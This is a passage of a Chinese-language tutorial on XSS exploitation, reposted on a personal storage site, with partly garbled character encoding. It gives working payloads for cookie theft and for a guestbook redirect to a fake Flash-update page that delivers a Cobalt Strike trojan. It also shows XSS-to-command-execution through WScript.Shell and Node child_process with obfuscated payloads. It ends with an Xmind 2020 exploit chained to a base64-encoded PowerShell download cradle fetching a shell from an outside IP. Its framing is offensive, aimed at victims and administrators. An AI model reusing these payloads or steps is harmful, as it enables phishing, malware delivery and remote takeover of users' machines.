onhashchange 事件在當(dāng)前 URL 的錨部分(以 '#’ 號為開始) 發(fā)生改變時觸發(fā) 。

測試其他標(biāo)簽和屬性

HTML的標(biāo)簽和屬性太多了,,上文中已經(jīng)列出了很多了,。

XSS 攻擊面拓展

利用 XSS 釣魚

通過 XSS 盜取 Cookie

Cookie盜取是xss攻擊中最實用也是最廣泛的一種利用方式之一。我們知道Cookie是Web系統(tǒng)識別用戶的身份和保存會話狀態(tài)的主要機制,,且是由服務(wù)器提供的,、存儲在客戶端的一種數(shù)據(jù)。同時,,對于cookie的操作十分的方便,,我們可以通過Document對象訪問Cookie。最簡單的比如:<script>alert(document.cookie)</script> ,執(zhí)行后會彈出當(dāng)前頁面的cookie信息,。在目標(biāo)沒有“同源策略”的保護下,,我們可以利用XSS盜取目標(biāo)網(wǎng)站管理員的Cookie。

在一般的通用CMS下呢,,為了通用模板的兼容性,,許多CMS本身不會使用“同源策略”等其他手段來防護XSS漏洞,而是使用自建的過濾函數(shù)來處理,,在這種情況下,,一旦出現(xiàn)XSS漏洞,我們就可以直接獲取目標(biāo)的Cookie然后使用特定的方法來傳輸cookie,。

這里,,我們可以利用網(wǎng)上現(xiàn)成的或自己搭建的XSS平臺來完成利用過程。

Flash 彈窗釣魚

之前看過很多大佬使用XSS漏洞彈出Flash的更新頁面進行釣魚的操作,。今天我們終于有機會來演示一下了,。

其原理就是通過XSS漏洞,彈出Flash更新請求誘使用戶點擊,,使用戶跳轉(zhuǎn)到設(shè)置好的釣魚頁面(偽造好的Flash更新頁面),,下載偽造的Flash組件(木馬程序)并執(zhí)行,最終實現(xiàn)反彈Shell上線CS,,完成釣魚攻擊,。下面我們搭建環(huán)境進行演示。

實驗環(huán)境:

主機環(huán)境:

·攻擊機kali:192.168.0.182·受害機:192.168.0.125

工具環(huán)境:

·WeBug4.0·Flash 官網(wǎng)源碼

(1)制作 CS 捆綁木馬

這里我們選擇制作WinRAR自解壓捆綁木馬,,將 CS 木馬與真正的Flash更新程序捆綁在一起,,詳情參考我的文章:《釣魚攻擊:制作WinRAR自解壓捆綁木馬進行釣魚攻擊》

(2)搭建Flash釣魚頁面

首先我們需要在kali上搭建一個釣魚頁面,需要下載Flash官方頁面的源碼進行修改,。這里有兩個項目可以選擇:

·項目一地址:https://github.com/Wileysec/adobe-flash-phishing-page

該項目是模仿的 Flash Player 中文官網(wǎng)的頁面:
nullimage-20210304170810399
需要在index.html中的加入我們制作的木馬的鏈接地址:
nullimage-20210304172509118
·項目二地址:https://github.com/r00tSe7en/Flash-Pop

該項目是一個逼真的Flash更新提醒的彈窗,,強迫癥都會忍不住去點擊下載的:
nullimage-20210304171159133
我們這里使用第二種方法,點擊“立即升級”的這個按鈕點擊會下載我們提前準(zhǔn)備好的 CS 木馬,。如果管理員以為自己的 Flash 版本過低的話,,可能會下載并運行這個木馬。

找到flash.js,,搜索鏈接“https://www./”,,將其改為我們制作的木馬的鏈接地址,然后保存即可:
nullimage-20210304173233649
然后將偽造的Flash頁面搭建在攻擊機kali的Web服務(wù)上:
nullimage-20210304173812031
(3)插入 XSS 攻擊向量

訪問目標(biāo)網(wǎng)站:

圖片
image-20210304173934856

在最下方發(fā)現(xiàn)一個留言板:
nullimage-20210304173956429
經(jīng)測試存在XSS漏洞,,我們插入一下payload:

<script>window.location.href="http://192.168.0.182";</script>

nullimage-20210304175329132
這樣,,當(dāng)用戶再次訪問該頁面或管理員在后臺查看評論時,就會將頁面劫持到我們所偽造的釣魚頁面上:
nullimage-20210304175404485
當(dāng)受害者強迫癥忍不住去點擊“立即升級”時,,就會下載我們所準(zhǔn)備好的 CS 捆綁木馬:
nullimage-20210304175914235
如果受害者以為自己的 Flash 版本過低的話,,就可能會運行這個木馬,。如下圖所示,受害者主機成功上線:
nullimage-20210304180543849

XSS to RCE

為了大大提升 XSS 的危害,,我們可以利用 JavaScript 來執(zhí)行系統(tǒng)命令,。

使用 WScript.Shell 執(zhí)行系統(tǒng)命令

WScript.Shell(Windows Script Host Runtime Library)是一個對象,對應(yīng)的文件是C:/WINDOWS/system32/wshom.ocx,,Wscript.shell是服務(wù)器系統(tǒng)會用到的一種組件,。4這個對象可以執(zhí)行操作系統(tǒng)外殼常用的操作,比如運行程序,、讀寫注冊表,、環(huán)境變量等。簡單使用如下:

var shell =newActiveXObject("WScript.Shell");shell.run("calc.exe");

有時候為了 Bypass 也可以使用 String.fromCharCode 從 Ascii 來轉(zhuǎn)化惡意代碼:

<imgsrc=xonerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">

使用 child_process 執(zhí)行系統(tǒng)命令

如果目標(biāo)環(huán)境啟用了 NodeJS 的話,,我們也可以利用 NodeJS 的子進程(child_process)調(diào)用并執(zhí)行系統(tǒng)命令:

<imgsrc=xonerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data',function(data){alert(data);})"><imgsrc=xonerror="require('child_process').exec('calc');"><img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">

能執(zhí)行系統(tǒng)命令了,那么 XSS 在釣魚攻擊中的作用便大大提高了,,我們完全可以利用 XSS 反彈 Shell 并上線 Metasploit 或 CS ,。請繼續(xù)往下看。

Xmind 2020 XSS 漏洞

XMind 是一款專業(yè)的全球領(lǐng)先的商業(yè)思維導(dǎo)圖軟件,,在國內(nèi)使用廣泛,,擁有強大的功能、包括思維管理,、商務(wù)演示,、與辦公軟件協(xié)同工作等功能。它采用全球先進的 Eclipse RCP 軟件架構(gòu),,是集思維導(dǎo)圖與頭腦風(fēng)暴于一體的可視化思考工具,,能用來捕捉想法、理清思路,、管理復(fù)雜信息并促進團隊協(xié)作,。XMind 思維導(dǎo)圖軟件曾被著名互聯(lián)網(wǎng)媒體 Lifehacker 評選為“最佳頭腦風(fēng)暴和思維導(dǎo)圖工具”及”最受歡迎的思維導(dǎo)圖軟件”。

2021年5月10日,,被爆 Xmind 2020 中存在 XSS 漏洞,,攻擊者可以借助該漏洞實現(xiàn)命令執(zhí)行,在實際環(huán)境中借助釣魚攻擊可能造成更嚴重的危害,。

漏洞利用很簡單,,在 “思維導(dǎo)圖” 中輸出 Payload:

<imgsrc=xonerror=alert('xss')>

nullimage-20210518200806469
切換到 “大綱” 中,按下一個功能鍵即可觸發(fā)攻擊:
nullimage-20210518200926653
由于 Xmind 啟用了 NodeJS 功能,,所以我們可以利用 child_process 調(diào)用并執(zhí)行系統(tǒng)命令,。這和蟻劍的 XSS 導(dǎo)致 RCE 原理如出一轍:https://www./post/1152.html
nullimage-20210518201144075nullimage-20210518201232008
同時我們可以利用這一點進行釣魚,讓受害機上線 Metasploit 或 CS,。

首先使用 CS 生成釣魚使用的 PowerShell 腳本:
nullimage-20210518203625529
點擊 Launch 后生成攻擊命令:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"

即:

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');

為了更好地 Bypass,,我們可以將 payload 進行 base64 轉(zhuǎn)化一下,,最終的 Payload 如下:

<imgsrc=xonerror='eval(newBuffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'>

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,,不代表本站觀點,。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,,謹防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報,。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多